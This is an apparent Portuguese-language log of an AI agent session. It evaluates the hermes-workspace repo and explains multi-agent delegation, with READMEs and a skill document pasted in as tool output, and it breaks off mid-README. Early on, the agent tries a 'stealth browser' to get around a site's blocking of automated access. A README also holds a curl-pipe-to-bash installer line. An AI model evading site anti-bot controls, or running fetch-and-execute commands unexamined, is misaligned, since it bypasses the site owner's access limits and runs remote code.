  Falha previsível: baixei o stealth browser, mas o host ainda está sem as libs que o Chromium precisa (`libglib-2.0.so.0`). Então o problema não é só a ferramenta — é o host mínimo de dependências. Vou instalar o pacote básico de libs do Chromium antes de continuar com o Playwright ou com o CloakBrowser.

  Sem sudo aqui, não consigo instalar pacotes do sistema para suprir as bibliotecas do Chromium. Como alternativa, vou rodar o Cloak/Playwright com uma sessão interativa visível para confirmar se mesmo assim a página do Trendshift abre com dados completos; se o bloqueio for só por headless, isso pode resolver.

  Falta a biblioteca que o erro apontou:

  `sudo apt-get install libglib2.0-0`

  Se quiser garantir de uma vez todas as libs que o Chromium costuma precisar:

  `sudo apt-get install libglib2.0-0 libnss3 libatk1.0-0 libatk-bridge2.0-0 libcups2 libdrm2 libgbm1 libpango-1.0-0 libasound2`

  Depois de instalar, eu continuo o acesso pelo Trendshift pelo Playwright/CloakBrowser.

  [Tool loop warning: same_tool_failure_warning; count=3; terminal has failed 3 times this turn. This looks like a loop. Do not switch to text-only replies; keep using tools, but diagnose before retrying. First inspect the latest error/output and verify your assumptions.

Then:\n\n```bash\nhermes gateway run                  # terminal 1\ncd ~/hermes-workspace && pnpm dev   # terminal 2\n```\n\nOpen http://localhost:3000. That's it.\n\n---\n\n### Already running `hermes-agent`? Attach the workspace to it\n\nIf you already have `hermes-agent` installed (via Nous's official installer, a source checkout, systemd, Docker, or another existing setup) and it's serving the gateway at `http://<host>:8642`, you don't need to reinstall anything — just point the workspace at it.\n\n```bash\ngit clone https://github.com/outsourc-e/hermes-workspace.git\ncd hermes-workspace\npnpm install\ncp .env.example .env\n\n# Point at your existing Hermes Agent services.\necho 'HERMES_API_URL=http://127.0.0.1:8642' >> .env\n# Zero-fork installs also need the separate dashboard API for config/sessions/skills/jobs.\necho 'HERMES_DASHBOARD_URL=http://127.0.0.1:9119' >> .env\n\n# If your gateway was started with API_SERVER_KEY (auth enabled), set the same value:\n# echo 'HERMES_API_TOKEN=*** >> .env\n\npnpm dev                            # http://localhost:3000 (override with PORT=4000 pnpm dev)\n```\n\nRequirements on the agent side:\n\n- Gateway bound to an address the workspace can reach (typically `API_SERVER_HOST=0.0.0.0` + the port exposed).\n- `API_SERVER_ENABLED=true` in `~/.hermes/.env` (or the agent's env) so the gateway serves core APIs on `:8642`.\n- `hermes dashboard` running (default `http://127.0.0.1:9119`) for zero-fork installs. The dashboard provides config, sessions, skills, and jobs APIs.\n- If `API_SERVER_KEY` is set, the workspace must pass the same value via `HERMES_API_TOKEN` — otherwise leave both unset.\n\nVerify both services before opening the workspace:\n\n- `curl http://127.0.0.1:8642/health` should return ok.\n- `curl http://127.0.0.1:9119/api/status` should return dashboard metadata.\n\nThen start the workspace and complete onboarding — it should detect the gateway + dashboard pair and unlock the enhanced panes automatically.\n\n#### Running on a remote host (Tailscale / VPN / LAN)\n\nIf the workspace and its browser live on different machines — e.g. the workspace runs on a Pi/Mac/home server and you access it from your phone over Tailscale — point `HERMES_API_URL` at the **reachable** backend address, not `127.0.0.1`:\n\n```bash\n# On the server running the workspace + gateway:\necho 'HERMES_API_URL=http://100.x.y.z:8642' >> .env\necho 'HERMES_DASHBOARD_URL=http://100.x.y.z:9119' >> .env\n\n# Also tell the gateway to listen on all interfaces so Tailscale peers can reach it.\n# In ~/.hermes/.env (or wherever the gateway reads config):\necho 'API_SERVER_HOST=0.0.0.0' >> ~/.hermes/.env\n```\n\nThen restart the gateway, dashboard, and workspace. Hit the workspace from the remote device and the connection probe will use the Tailscale IP instead of localhost. Both `HERMES_API_URL` and `HERMES_DASHBOARD_URL` must be set to Tailscale/LAN-reachable URLs — setting only one will leave the other probing `127.0.0.1` and failing.\n\n**If you've already started the workspace**, you can update both URLs from `Settings → Connection` without restarting. The values are persisted to `~/.hermes/workspace-overrides.json` and take effect immediately (gateway capabilities are reprobed on save). Editing `.env` still works for pre-start config and for CI/containers.\n\n---\n\n### Manual install\n\nHermes Workspace works with any OpenAI-compatible backend. If your backend also exposes Hermes Agent gateway APIs, enhanced features like sessions, memory, skills, and jobs unlock automatically.\n\n#### Prerequisites\n\n- **Node.js 22+** — [nodejs.org](https://nodejs.org/)\n- **An OpenAI-compatible backend** — local, self-hosted, or remote\n- **Optional:** Python 3.11+ if you want to run a Hermes Agent gateway locally\n\n#### Step 1: Start your backend\n\nPoint Hermes Workspace at any backend that supports:\n\n- `POST /v1/chat/completions`\n- `GET /v1/models` recommended\n\nExample Hermes Agent gateway setup (from scratch):\n\n```bash\n# Install hermes-agent via Nous's official installer\ncurl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh | bash\n\n# Configure a provider + start the gateway\nhermes setup\nhermes gateway run\n```\n\nOur one-liner installer (below) does both steps automatically. If you're using another OpenAI-compatible server, just note its base URL.\n\n### Step 2: Install & Run Hermes Workspace\n\n```bash\n# In a new terminal\ngit clone https://github.com/outsourc-e/hermes-workspace.git\ncd hermes-workspace\npnpm install\ncp .env.example .env\nprintf '\\nHERMES_API_URL=http://127.0.0.1:8642\\n' >> .env\npnpm dev                   # Starts on http://localhost:3000\n```\n\n> **Verify:** Open `http://localhost:3000` and complete the onboarding flow. First connect the backend, then verify chat works. If your gateway exposes Hermes Agent APIs, advanced features appear automatically.\n\n#### Environment Variables\n\n```env\n# OpenAI-compatible backend URL\nHERMES_API_URL=http://127.0.0.1:8642\n\n# Optional: provider keys the Hermes Agent gateway can read at runtime.\n# You only need the key(s) for whichever provider(s) you actually use.\n# OPENAI_API_KEY=***                # GPT / o-series / OpenAI-compatible\n# OPENROUTER_API_KEY=***      # OpenRouter (incl. free models)\n# GOOGLE_API_KEY=***               # Gemini\n# (Ollama / LM Studio / local servers don't need a key)", "exit_code": 0, "error": null} terminal

  Sim, eu analisei. Aqui está o veredito comparativo:

  **Resumo rápido**
  - `outsourc-e/hermes-workspace` = interface web para o Hermes Agent
  - `NousResearch/hermes-agent` = o projeto oficial do agente

  | Campo | Link enviado | Oficial |
  |---|---|---|
  | Repo | `outsourc-e/hermes-workspace` | `NousResearch/hermes-agent` |
  | o que é | frontend web (React/TS) para o agente | o agente em si (Python) |
  | Licença | MIT | MIT |
  | Stars | 5.099 | 173.672 |
  | Forks | 754 | 29.391 |
  | Idioma | JavaScript | Python |
  | Criado | mar/2026 | jul/2025 |
  | Oficial/maintainer | terceiro | NousResearch |

  **Veredito de confiança**
  - Não é scam nem repositório malicioso. É um projeto *complementar* legítimo.
  - O próprio site oficial do hermes-agent referencia esse workspace no footer como "An editorial UI for Hermes Agent" — isso é um sinal positivo.
  - O README dele deixa claro que é "zero-fork": ele não modifica o `hermes-agent`, só se conecta à gateway dele.
  - O instalador dele, inclusive, usa o instalador oficial da Nous primeiro.

  **Pontos de atenção**
  - Não é mantido diretamente pela NousResearch, é um projeto independente da comunidade.
  - Tem a tag "hackathon", então nasceu como projeto de hackathon, embora já esteja maduro.
  - Você precisa rodar o Hermes Agent oficial separado; o Workspace é só a UI.

  Se você quiser usar, o caminho seguro é instalar primeiro o Hermes Agent oficial da Nous e depois plugar o Workspace nele.

  Boa! A funcionalidade de multiagentes existe tanto no Hermes Agent oficial quanto no Workspace, mas com abordagens diferentes. Vou te mostrar como funciona a parte que já está disponível AGORA, sem precisar do Workspace para isso.

Read and Parse Plan\n\nRead the plan file. Extract ALL tasks with their full text and context upfront. Create a todo list:\n\n```python\n# Read the plan\nread_file(\"docs/plans/feature-plan.md\")\n\n# Create todo list with all tasks\ntodo([\n    {\"id\": \"task-1\", \"content\": \"Create User model with email field\", \"status\": \"pending\"},\n    {\"id\": \"task-2\", \"content\": \"Add password hashing utility\", \"status\": \"pending\"},\n    {\"id\": \"task-3\", \"content\": \"Create login endpoint\", \"status\": \"pending\"},\n])\n```\n\n**Key:** Read the plan ONCE. Extract everything. Don't make subagents read the plan file — provide the full task text directly in context.\n\n### 2. Per-Task Workflow\n\nFor EACH task in the plan:\n\n#### Step 1: Dispatch Implementer Subagent\n\nUse `delegate_task` with complete context:\n\n```python\ndelegate_task(\n    goal=\"Implement Task 1: Create User model with email and password_hash fields\",\n    context=\"\"\"\n    TASK FROM PLAN:\n    - Create: src/models/user.py\n    - Add User class with email (str) and password_hash (str) fields\n    - Use bcrypt for password hashing\n    - Include __repr__ for debugging\n\n    FOLLOW TDD:\n    1. Write failing test in tests/models/test_user.py\n    2. Run: pytest tests/models/test_user.py -v (verify FAIL)\n    3. Write minimal implementation\n    4. Run: pytest tests/models/test_user.py -v (verify PASS)\n    5. Run: pytest tests/ -q (verify no regressions)\n    6. Commit: git add -A && git commit -m \"feat: add User model with password hashing\"\n\n    PROJECT CONTEXT:\n    - Python 3.11, Flask app in src/app.py\n    - Existing models in src/models/\n    - Tests use pytest, run from project root\n    - bcrypt already in requirements.txt\n    \"\"\",\n    toolsets=['terminal', 'file']\n)\n```\n\n#### Step 2: Dispatch Spec Compliance Reviewer\n\nAfter the implementer completes, verify against the original spec:\n\n```python\ndelegate_task(\n    goal=\"Review if implementation matches the spec from the plan\",\n    context=\"\"\"\n    ORIGINAL TASK SPEC:\n    - Create src/models/user.py with User class\n    - Fields: email (str), password_hash (str)\n    - Use bcrypt for password hashing\n    - Include __repr__\n\n    CHECK:\n    - [ ] All requirements from spec implemented?\n    - [ ] File paths match spec?\n    - [ ] Function signatures match spec?\n    - [ ] Behavior matches expected?\n    - [ ] Nothing extra added (no scope creep)?\n\n    OUTPUT: PASS or list of specific spec gaps to fix.\n    \"\"\",\n    toolsets=['file']\n)\n```\n\n**If spec issues found:** Fix gaps, then re-run spec review. Continue only when spec-compliant.\n\n#### Step 3: Dispatch Code Quality Reviewer\n\nAfter spec compliance passes:\n\n```python\ndelegate_task(\n    goal=\"Review code quality for Task 1 implementation\",\n    context=\"\"\"\n    FILES TO REVIEW:\n    - src/models/user.py\n    - tests/models/test_user.py\n\n    CHECK:\n    - [ ] Follows project conventions and style?\n    - [ ] Proper error handling?\n    - [ ] Clear variable/function names?\n    - [ ] Adequate test coverage?\n    - [ ] No obvious bugs or missed edge cases?\n    - [ ] No security issues?\n\n    OUTPUT FORMAT:\n    - Critical Issues: [must fix before proceeding]\n    - Important Issues: [should fix]\n    - Minor Issues: [optional]\n    - Verdict: APPROVED or REQUEST_CHANGES\n    \"\"\",\n    toolsets=['file']\n)\n```\n\n**If quality issues found:** Fix issues, re-review. Continue only when approved.\n\n#### Step 4: Mark Complete\n\n```python\ntodo([{\"id\": \"task-1\", \"content\": \"Create User model with email field\", \"status\": \"completed\"}], merge=True)\n```\n\n### 3. Final Review\n\nAfter ALL tasks are complete, dispatch a final integration reviewer:\n\n```python\ndelegate_task(\n    goal=\"Review the entire implementation for consistency and integration issues\",\n    context=\"\"\"\n    All tasks from the plan are complete. Review the full implementation:\n    - Do all components work together?\n    - Any inconsistencies between tasks?\n    - All tests passing?\n    - Ready for merge?\n    \"\"\",\n    toolsets=['terminal', 'file']\n)\n```\n\n### 4. Verify and Commit\n\n```bash\n# Run full test suite\npytest tests/ -q\n\n# Review all changes\ngit diff --stat\n\n# Final commit if needed\ngit add -A && git commit -m \"feat: complete [feature name] implementation\"\n```\n\n## Task Granularity\n\n**Each task = 2-5 minutes of focused work.**\n\n**Too big:**\n- \"Implement user authentication system\"\n\n**Right size:**\n- \"Create User model with email and password fields\"\n- \"Add password hashing function\"\n- \"Create login endpoint\"\n- \"Add JWT token generation\"\n- \"Create registration endpoint\"\n\n## Red Flags — Never Do These\n\n- Start implementation without a plan\n- Skip reviews (spec compliance OR code quality)\n- Proceed with unfixed critical/important issues\n- Dispatch multiple implementation subagents for tasks that touch the same files\n- Make subagent read the plan file (provide full text in context instead)\n- Skip scene-setting context (subagent needs to understand where the task fits)\n- Ignore subagent questions (answer before letting them proceed)\n- Accept \"close enough\" on spec compliance\n- Skip review loops (reviewer found issues → implementer fixes → review again)\n- Let implementer self-review replace actual review (both are needed)\n- **Start code quality review before spec compliance is PASS** (wrong order)\n- Move to next task while either review has open issues\n\n## Handling Issues\n\n### If Subagent Asks Questions\n\n- Answer clearly and completely\n- Provide additional context if needed\n- Don't rush them into implementation\n\n### If Reviewer Finds Issues\n\n- Implementer subagent (or a new one) fixes them\n- Reviewer reviews again\n- Repeat until approved\n- Don't skip the re-review\n\n### If Subagent Fails a Task\n\n- Dispatch a new fix subagent with specific instructions about what went wrong\n- Don't try to fix manually in the controller session (context pollution)\n\n## Efficiency Notes\n\n**Why fresh subagent per task:**\n- Prevents context pollution from accumulated state\n- Each subagent gets clean, focused context\n- No confusion from prior tasks' code or reasoning\n\n**Why two-stage review:**\n- Spec review catches under/over-building early\n- Quality review ensures the implementation is well-built\n- Catches issues before they compound across tasks\n\n**Cost trade-off:**\n- More subagent invocations (implementer + 2 reviewers per task)\n- But catches issues early (cheaper than debugging compounded problems later)\n\n## Integration with Other Skills\n\n### With writing-plans\n\nThis skill EXECUTES plans created by the writing-plans skill:\n1. User requirements → writing-plans → implementation plan\n2. Implementation plan → subagent-driven-development → working code\n\n### With test-driven-development\n\nImplementer subagents should follow TDD:\n1. Write failing test first\n2. Implement minimal code\n3. Verify test passes\n4. Commit\n\nInclude TDD instructions in every implementer context.\n\n### With requesting-code-review\n\nThe two-stage review process IS the code review. For final integration review, use the requesting-code-review skill's review dimensions.\n\n### With systematic-debugging\n\nIf a subagent encounters bugs during implementation:\n1. Follow systematic-debugging process\n2. Find root cause before fixing\n3. Write regression test\n4. Resume implementation\n\n## Example Workflow\n\n```\n[Read plan: docs/plans/auth-feature.md]\n[Create todo list with 5 tasks]\n\n--- Task 1: Create User model ---\n[Dispatch implementer subagent]\n  Implementer: \"Should email be unique?\"\n  You: \"Yes, email must be unique\"\n  Implementer: Implemented, 3/3 tests passing, committed.\n\n[Dispatch spec reviewer]\n  Spec reviewer: ✅ PASS — all requirements met\n\n[Dispatch quality reviewer]\n  Quality reviewer: ✅ APPROVED — clean code, good tests\n\n[Mark Task 1 complete]\n\n--- Task 2: Password hashing ---\n[Dispatch implementer subagent]\n  Implementer: No questions, implemented, 5/5 tests passing.\n\n[Dispatch spec reviewer]\n  Spec reviewer: ❌ Missing: password strength validation (spec says \"min 8 chars\")\n\n[Implementer fixes]\n  Implementer: Added validation, 7/7 tests passing.\n\n[Dispatch spec reviewer again]\n  Spec reviewer: ✅ PASS\n\n[Dispatch quality reviewer]\n  Quality reviewer: Important: Magic number 8, extract to constant\n  Implementer: Extracted MIN_PASSWORD_LENGTH constant\n  Quality reviewer: ✅ APPROVED\n\n[Mark Task 2 complete]\n\n... (continue for all tasks)\n\n[After all tasks: dispatch final integration reviewer]\n[Run full test suite: all passing]\n[Done!]\n```\n\n## Remember\n\n```\nFresh subagent per task\nTwo-stage review every time\nSpec compliance FIRST\nCode quality SECOND\nNever skip reviews\nCatch issues early\n```\n\n**Quality is not an accident.

  Perfeito! Você já tem acesso a funcionalidade multiagente **agora**, sem precisar instalar nada. Vou te explicar como funciona:

  ## O que você já pode usar: `delegate_task`

  O Hermes Agent tem a função `delegate_task` que permite spawnar subagentes independentes. Cada subagente:
  - Tem sua própria sessão isolada
  - Recebe um `goal` (objetivo) e `context` (informações de fundo)
  - Trabalha em paralelo com outros subagentes
  - Retorna apenas o resultado final (não polui seu contexto com detalhes intermediários)

  ## Como funciona na prática

  Você pode mandar vários agentes trabalharem no **mesmo problema** de formas diferentes:

  **Exemplo 1 - Pesquisa paralela:**
  ```
  "Pesquise sobre X em 3 fontes diferentes"
  ```
  Eu spawno 3 subagentes, cada um indo atrás de uma fonte, e combino os resultados.

  **Exemplo 2 - Abordagens diferentes:**
  ```
  "Resolva o problema Y usando 2 estratégias distintas"
  ```
  Cada agente tenta uma abordagem diferente, você vê os dois resultados e escolhe o melhor.

  **Exemplo 3 - Divisão de trabalho:**
  ```
  "Escreva um documento sobre Z"
  ```
  Um agente pesquisa, outro estrutura, outro escreve — tudo em paralelo.

  ## Modos disponíveis

  **1. Tarefa única (goal)**
  ```python
  delegate_task(
      goal="Analisar repositório X e comparar com Y",
      context="Contexto completo sobre o que comparar",
      toolsets=['web', 'terminal', 'file']  # Ferramentas disponíveis
  )
  ```

  **2. Trabalho em lote (tasks) - até 3 agentes simultâneos**
  ```python
  delegate_task(
      tasks=[
          {
              "goal": "Pesquisar tendências de IA em 2026",
              "toolsets": ['web']
          },
          {
              "goal": "Analisar top 10 repositórios trending",
              "context": "Focar em projetos brasileiros",
              "toolsets": ['web', 'terminal']
          },
          {
              "goal": "Gerar relatório de conclusões",
              "context": "Sintetizar dados dos outros 2 agentes",
              "toolsets": ['file']
          }
      ]
  )
  ```

  ## Limitações atuais no seu setup

  - **Máximo de 3 agentes simultâneos** (configurável)
  - **1 nível de profundidade** (agentes não podem spawnar outros agentes)
  - Cada agente roda de forma independente, sem memória compartilhada direta

  ## O que o Workspace oferece além disso

  O `outsourc-e/hermes-workspace` tem recursos mais avançados:
  - **Conductor**: Interface visual para orquestrar múltiplos agentes
  - **Swarm Mode**: Agentes persistentes com tmux, rodando em background
  - **Kanban**: Quadro de tarefas compartilhado entre agentes
  - **Operations Console**: Painel para gerenciar todos os agentes rodando

  ---

  **Quer testar agora?** Me dá um problema ou tarefa que você queira dividir entre múltiplos agentes, e eu mostro na prática como funciona a orquestração paralela.

  {"content": "1|# DwarfStar\n2|\n3|**DwarfStar** is a small native inference engine optimized first for\n4|**DeepSeek V4 Flash**, with support for **DeepSeek V4 PRO** on very high-memory\n5|machines. It is\n6|intentionally narrow: not a generic GGUF runner, not a wrapper around another\n7|runtime: it is completely self-contained. Other than running the model in a\n8|correct and fast way, the project goal is to provide DS4 specific loading,\n9|prompt rendering, tool calling, KV state handling (RAM and on-disk), server\n10|API and integrated coding agent, all ready to work with coding agents or with\n11|the provided CLI interface. There are also tools for GGUF and imatrix generation,\n12|and for quality and speed testing.\n13|\n14|We support the following backends:\n15|* **Metal** is our primary target. Starting from MacBooks with 96GB of RAM.\n16|* **NVIDIA CUDA** with special care for the DGX Spark.\n17|* **AMD ROCm** is only supported in the [rocm](https://github.com/antirez/ds4/tree/rocm) branch. It is kept separate from main since I (antirez) don't have direct hardware access, so the community rebases the branch as needed.\n18|\n19|This project would not exist without **llama.cpp and GGML**, make sure to read\n20|the acknowledgements section, a big thank you to Georgi Gerganov and all the\n21|other contributors.\n22|\n23|## Motivations\n24|\n25|Now, back at this project. Why do we believe DeepSeek V4 Flash deserves a\n26|standalone engine? Because after comparing it with powerful smaller dense\n27|models, we can report that:\n28|\n29|1. DeepSeek V4 Flash is the practical target of the project: it can run on\n30|   96/128GB machines while still feeling much larger than local dense models.\n31|2. DeepSeek V4 PRO is supported too, as a side path for 512GB Mac Studio class\n32|   machines. It is heavier, but it shares the same engine ideas and can be\n33|   useful when the hardware is available.\n34|3. In thinking mode, if you avoid *max thinking*, Flash produces a thinking\n35|   section that is a lot shorter than other models, even 1/5 of other models in\n36|   many cases, and crucially, the thinking section length is **proportional to\n37|   the problem complexity**. This makes DeepSeek V4 Flash usable with thinking\n38|   enabled when other models are practically impossible to use in the same\n39|   conditions.\n40|4. The models feature a context window of **1 million tokens**.\n41|5. Being so large, Flash knows more things if you go sampling at the edge of\n42|   knowledge. For instance asking about Italian show or political questions soon\n43|   uncovers that 284B parameters are a lot more than 27B or 35B parameters. PRO\n44|   pushes further when you can run it.\n45|6. Flash writes much better English and Italian. It *feels* a quasi-frontier\n46|   model. PRO is stronger still, especially for tasks such as translation.\n47|7. The KV cache is incredibly compressed, allowing long context inference on\n48|   local computers and **on disk KV cache persistence**.\n49|8. Both DeepSeek V4 variants work well with 2-bit quantization, if quantized in\n50|   a special way (read later). This allows Flash to run on MacBooks with 128GB\n51|   of RAM (and many people reported it working with 96GB as well, even at 250k\n52|   context window!), and PRO on 512GB machines.\n53|9. We expect DeepSeek to release **updated versions of V4 Flash and PRO** in the\n54|   future, even better than the current ones.\n55|\n56|That said, a few important things about this project:\n57|\n58|* The local inference landscape contains many excellent projects, but new models are released continuously, and the attention immediately gets captured by the next model to implement. This project takes a deliberately narrow bet: one model at a time, official-vector validation (logits obtained with the official implementation), long-context tests, and enough agent integration to know if it really works. The exact model may change as the landscape evolves, but the constraint remains: local inference credible on high end personal machines or Mac Studios, starting from 96/128GB of memory.\n59|* This software is developed with **strong assistance from GPT 5.5** and with humans leading the ideas, testing, and debugging. We say this openly because it shaped how the project was built. If you are not happy with AI-developed code, this software is not for you. The acknowledgement below is equally important: this would not exist without `llama.cpp` and GGML, largely written by hand.\n60|* This implementation is based on the idea that compressed KV caches like the one of DeepSeek v4 and the fast SSD disks of modern MacBooks should change our idea that KV cache belongs to RAM. **The KV cache is actually a first-class disk citizen**.\n61|* Our vision is that local inference should be a set of three things working well together, out of the box: A) inference engine with HTTP API + B) GGUF specially crafted to run well under a given engine and given assumptions + C) testing and validation with coding agents implementations. This inference engine only runs with the GGUF files provided. It gets tested against officially obtained logits at different context sizes. This project exists because we wanted to make one local model feel finished end to end, not just runnable. However this is beta quality code, so probably we are not still there.\n62|* The optimized graph path targets **Metal on macOS** and **CUDA on Linux**. The CPU path is only for correctness checks and model/tokenizer diagnostics. For CPU-only Linux builds, use `make cpu`; it builds the normal `./ds4` and `./ds4-server` binaries without CUDA or Metal. On macOS, **warning: current macOS versions have a bug in the virtual memory implementation that will crash the kernel** if you try to run the CPU code. Remember? Software sucks. It was not possible to fix the CPU inference to avoid crashing, since each time you have to restart the computer, which is not funny. Help us, if you have the guts.\n63|* The project supports both Flash and PRO variants, but Flash remains the main\n64|  focus because it is the model that makes sense on 96/128GB personal machines.\n65|  **PRO support is experimental**: it is useful and welcome, but today it is\n66|  naturally limited to people with 512GB Mac Studio class hardware.\n67|\n68|## Acknowledgements to llama.cpp and GGML\n69|\n70|`ds4.c` does not link against GGML, but it **exists thanks to the path opened by the\n71|llama.cpp project and the kernels, quantization formats, GGUF ecosystem, and hard-won\n72|engineering knowledge developed there**.\n73|We are thankful and indebted to [`llama.cpp`](https://github.com/ggml-org/llama.cpp)\n74|and its contributors. Their implementation, kernels, tests, and design choices were\n75|an essential reference while building this DeepSeek V4 specific inference path.\n76|Some source-level pieces are retained or adapted here under the MIT license: GGUF\n77|quant layouts and tables, CPU quant/dot logic, and certain kernels. For this\n78|reason, and because we are genuinely grateful, we keep the GGML authors copyright\n79|notice in our `LICENSE` file.\n80|\n81|## Status\n82|\n83|The code and GGUF files are to be considered of **beta quality** because\n84|inference and model serving is a complicated matter and all this exists\n85|only for a few days. It will take months to reach a more stable form.\n86|However, we try to keep the project in a usable state, and we are making\n87|progress. If you have issues, make sure to use `--trace` to log the\n88|sessions, and open issues including the full trace.\n89|\n90|The `ds4-agent` is alpha quality, the project was later added.\n91|\n92|## More Documentation\n93|\n94|If you are looking for very specific things, we have other\n95|sub-README files. Otherwise for normal usage keep reading the\n96|next sections.\n97|\n98|- [CONTRIBUTING.md](CONTRIBUTING.md): correctness and speed regression testing\n99|  guide for contributors. **Read this before sending a pull request**.\n100|- [gguf-tools/README.md](gguf-tools/README.md): offline GGUF generation,\n101|  imatrix collection, quantization tooling, and quality checks.\n102|- [gguf-tools/imatrix/README.md](gguf-tools/imatrix/README.md): how the\n103|  routed-MoE imatrix is collected and used.\n104|- [gguf-tools/imatrix/dataset/README.md](gguf-tools/imatrix/dataset/README.md):\n105|  how the calibration prompt corpus is generated.\n106|- [gguf-tools/quality-testing/README.md](gguf-tools/quality-testing/README.md):\n107|  how local GGUFs are scored against official DeepSeek V4 Flash/PRO continuations.\n108|- [dir-steering/README.md](dir-steering/README.md): directional steering data,\n109|  vector generation, and usage.\n110|- [speed-bench/README.md](speed-bench/README.md): benchmark commands, charts,\n111|  and CSV generation.\n112|- [tests/test-vectors/README.md](tests/test-vectors/README.md): official\n113|  continuation vectors used for regression checks.\n114|\n115|## Model Weights\n116|\n117|This implementation only works with the DeepSeek V4 Flash and PRO GGUFs published for\n118|this project. It is not a general GGUF loader, and arbitrary DeepSeek/GGUF files\n119|will not have the tensor layout, quantization mix, metadata, or optional MTP\n120|state expected by the engine. The 2 bit quantizations provided here are not\n121|a joke: they behave well, work under coding agents, call tools in a reliable way.\n122|The 2 bit quants use a very asymmetrical quantization: only the routed MoE\n123|experts are quantized, up/gate at `IQ2_XXS`, down at `Q2_K`. They are the\n124|majority of all the model space: the other components (shared experts,\n125|projections, routing) are left untouched to guarantee quality.\n126|\n127|Download one main model. **Prefer the imatrix versions.**\n128|\n129|```sh\n130|./download_model.sh q2-imatrix   # 96/128 GB RAM machines, imatrix-tuned q2\n131|./download_model.sh q2-q4-imatrix  # 96/128 GB RAM machines, q2 with last 6 layers q4\n132|./download_model.sh q4-imatrix   # >= 256 GB RAM machines, imatrix-tuned q4\n133|./download_model.sh pro-imatrix  # 512 GB RAM machines, PRO imatrix quant\n134|```\n135|\n136|Legacy GGUF files are still available if you specifically need the older\n137|non-imatrix quants:\n138|\n139|```sh\n140|./download_model.sh q2           # 96/128 GB RAM machines, legacy non-imatrix\n141|./download_model.sh q4           # >= 256 GB RAM machines, legacy non-imatrix\n142|./download_model.sh pro          # 512 GB RAM machines, legacy non-imatrix PRO\n143|```\n144|\n145|The script downloads from `https://huggingface.co/antirez/deepseek-v4-gguf`,\n146|stores files under `./gguf/`, resumes partial downloads with `curl -C -`, and\n147|updates `./ds4flash.gguf` to point at the selected main model. The plain q2 XXS\n148|weights are produced with the weights importance vector only, without an\n149|imatrix. The imatrix variants are preferred.\n150|Authentication is optional for public downloads, but `--token TOKEN`,\n151|`HF_TOKEN`, or the local Hugging Face token cache are used when present.\n152|\n153|If you want to regenerate GGUF files or collect a new imatrix, see\n154|[gguf-tools/README.md](gguf-tools/README.md). Those tools are meant for offline\n155|model-building work and can take a long time on the full DeepSeek V4 Flash\n156|weights. Flash GGUF generation is supported by the local tools. PRO GGUF\n157|production currently still depends on the external `llama.cpp`-based workflow;\n158|native tooling can be added later.\n159|\n160|`./download_model.sh mtp` fetches the optional speculative decoding support\n161|GGUF for Flash. It can be used with q2-imatrix, q4-imatrix, q2, and q4, but must be\n162|enabled explicitly with `--mtp`. The current MTP/speculative decoding path is\n163|still experimental: it is correctness-gated and currently provides at most a\n164|slight speedup, not a meaningful generation-speed win.\n165|\n166|Then build:\n167|\n168|```sh\n169|make                  # macOS Metal\n170|make cuda-spark       # Linux CUDA, DGX Spark / GB10\n171|make cuda-generic     # Linux CUDA, other local CUDA GPUs\n172|make cpu              # CPU-only diagnostics build\n173|```\n174|\n175|`./ds4flash.gguf` is the default model path used by both binaries. Pass `-m` to\n176|select another supported GGUF from `./gguf/`. Run `./ds4 --help` and\n177|`./ds4-server --help` for the full flag list.\n178|\n179|## Speed\n180|\n181|These are single-run Metal CLI numbers with `--ctx 32768`, `--nothink`, greedy\n182|decoding, and `-n 256`. The short prompt is a normal small Italian story\n183|prompt. The long prompts exercise chunked prefill plus long-context decode.\n184|Q4 requires the larger-memory machine class, so M3 Max Q4 numbers are `N/A`.\n185|\n186|| Machine | Quant | Prompt | Prefill | Generation |\n187|| --- | ---: | ---: | ---: | ---: |\n188|| MacBook Pro M3 Max, 128 GB | q2 | short | 58.52 t/s | 26.68 t/s |\n189|| MacBook Pro M3 Max, 128 GB | q2 | 11709 tokens | 250.11 t/s | 21.47 t/s |\n190|| MacBook Pro M3 Max, 128 GB | q4 | short | N/A | N/A |\n191|| MacBook Pro M3 Max, 128 GB | q4 | long | N/A | N/A |\n192|| MacBook Pro M5 Max, 128 GB | q2 | short | 87.25 t/s | 34.27 t/s |\n193|| MacBook Pro M5 Max, 128 GB | q2 | 11707 tokens | 463.44 t/s | 25.90 t/s |\n194|| Mac Studio M3 Ultra, 512 GB | q2 | short | 84.43 t/s | 36.86 t/s |\n195|| Mac Studio M3 Ultra, 512 GB | q2 | 11709 tokens | 468.03 t/s | 27.39 t/s |\n196|| Mac Studio M3 Ultra, 512 GB | q4 | short | 78.95 t/s | 35.50 t/s |\n197|| Mac Studio M3 Ultra, 512 GB | q4 | 12018 tokens | 448.82 t/s | 26.62 t/s |\n198|| Mac Studio M3 Ultra, 512 GB | PRO q2 | 32768 tokens | 138.82 t/s | 9.56 t/s |\n199|| DGX Spark GB10, 128 GB | q2 | 7047 tokens | 343.81 t/s | 13.75 t/s |\n200|\n201|![M3 Max t/s](speed-bench/m3_max_ts.svg)\n202|![PRO model M3 Ultra t/s](speed-bench/pro_model_m3_ultra_ts.svg)\n203|\n204|## Distributed Inference\n205|\n206|Distributed inference lets DS4 **run a model that is too large for one machine** by\n207|splitting transformer layers across multiple machines. The main example is the\n208|full 4-bit Flash quant across two 128 GB MacBooks: each process maps only its\n209|own layer slice, activations are sent over TCP, and the coordinator keeps normal\n210|CLI/API behavior.\n211|\n212|Distributed inference also allows to **speed up prefill** by\n213|using multiple GPUs at the same time to process different micro-batches at\n214|different layers, like in an assembly line. Only prefill can be accelerated this\n215|way. Generation is purely autoregressive: each token must finish across the\n216|route before the next token can start. The model work is the same as a single\n217|process, plus coordination latency, so distributed generation is slower.\n218|\n219|To build an initial mental model, here are the high level concepts:\n220|\n221|1. You put the GGUF on every machine, but each one loads just a subset. `--layers` controls which tensors are mapped, so a worker with `--layers 20:output` does not load the earlier layers.\n222|2. Layer ranges are inclusive: `10:20` means layers 10, 11, ..., 20. `N:output` means layer `N` through the final layer plus the output head.\n223|3. You assign one of the machines the role of `coordinator`, the others the roles of `workers`. Workers will connect to the coordinator and will tell they are there and which layers they are able to process.\n224|4. Each worker keeps its slice of the KV cache.\n225|5. Communication is worker-to-worker, there is no need to use the coordinator as relay, so if your coordinator is `A`, and you make a request, activations will flow in `A -> B -> C -> back to A`.\n226|\n227|### How it works and how to configure it\n228|\n229|The prefill path is pipelined (this is why it can go faster than in a single machine).\n230|For large prompts the coordinator can run its\n231|slice on chunk N+1 while the worker is running its slice on 